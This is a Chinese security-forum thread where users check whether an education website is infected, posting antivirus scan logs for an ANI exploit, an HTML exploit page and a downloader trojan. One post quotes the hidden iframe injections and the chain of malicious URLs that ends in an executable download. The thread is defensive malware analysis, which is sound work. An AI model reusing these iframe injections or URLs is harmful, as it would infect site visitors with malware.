网站有毒吗？

mr_zhj

http://www.jxedu.org/Index.html

1688388728

病毒: Exploit.HTML.Ascii.q
文件: c[1].htm
目录: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\WAW7BC7B
进程: GreenBrowser.exe

l784588

能发样本给偶测一下吗?

mofunzone

有问题网页=>ani=>木马

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\My Documents.rar'
C:\Documents and Settings\Administrator\My Documents\
  My Documents.rar
    [0] Archive type: RAR
    --> YuiAnLQvZx[1].jpg
        [DETECTION] Contains signature of the exploits EXP/Ani.Gen
        [WARNING]   Infected files in archives cannot be repaired!
    --> soft.exe
        [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
        [WARNING]   Infected files in archives cannot be repaired!
    --> c[1].htm
        [DETECTION] Contains signature of the exploits EXP/HTML.Ascii.D
        [WARNING]   Infected files in archives cannot be repaired!
        [WARNING]   The file was ignored!

moonsilver

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Hack.SuspiciousAni      

用户来源：互联网

软件版本：19.30.20

dikex

http://www.jxedu.org/js/menu.js

http://www.jxedu.org/js/prototype.js

＝＝》

<IFRAME style="DISPLAY: none" src="http://mm.987999.com/a.htm" frameBorder=0 width=1 height=1></IFRAME>


＝＝》

<iframe src=http://mm.987999.com/mm/a.htm width=100 height=0></iframe>
<iframe src=http://mm.987999.com/mm/b.htm width=100 height=0></iframe>
<iframe src=http://mm.987999.com/mm/c.htm width=100 height=0></iframe>

＝＝＝＝＝＝＝＝

http://mm.987999.com/mm/a.htm

＝＝》
<iframe src="014.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip1.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip2.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip.htm" width="0" height="0" border="0"></iframe>

＝＝》
http://mm.987999.com/soft.exe
http://www.ssrj888.cnvip.exe （实效）

＝＝＝＝＝＝＝＝
http://mm.987999.com/mm/b.htm

==>里面的实效

＝＝＝＝＝＝＝＝
http://mm.987999.com/mm/c.htm

==>
http://mm.987999.com/soft.exe

foxhound

直接被红伞拒绝访问了~~

Virus or unwanted program 'EXP/HTML.Ascii.D [EXP/HTML.Ascii.D]'
detected in file 'C:\Documents and Settings\SolidSnake\Local Settings\Temporary Internet Files\Content.IE5\F894LG9K\c[4].htm.
Action performed: Deny access

蓝色牛仔裤

蜘蛛始终还是无视htm 。。。

[Scan path] C:\Documents and Settings\Administrator\桌面\My Documents.rar
>C:\Documents and Settings\Administrator\桌面\My Documents.rar\YuiAnLQvZx[1].jpg infected with Exploit.ANIFile
>C:\Documents and Settings\Administrator\桌面\My Documents.rar\soft.exe infected with Win32.HLLW.Autoruner.149
>C:\Documents and Settings\Administrator\桌面\My Documents.rar\c[1].htm - Ok
C:\Documents and Settings\Administrator\桌面\My Documents.rar - archive contains infected objects

-----------------------------------------------------------------------------
Scan statistics
-----------------------------------------------------------------------------
Objects scanned: 5
Infected objects found: 2
Objects with modifications found: 0
Suspicious objects found: 0
Adware programs found: 0
Dialer programs found: 0
Joke programs found: 0
Riskware programs found: 0
Hacktool programs found: 0
Objects cured: 0
Objects deleted: 0
Objects renamed: 0
Objects moved: 0
Objects ignored: 0
Scan speed: 27 Kb/s
Scan time: 00:00:00

风雪

费尔两个。

wangjay1980

detected: malware Exploit.Win32.IMG-ANI.x        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\My Documents.rar/YuiAnLQvZx[1].jpg
detected: virus Heur.Trojan.Generic (modification)        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\My Documents.rar/soft.exe
detected: malware Exploit.HTML.Ascii.q        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\My Documents.rar/c[1].htm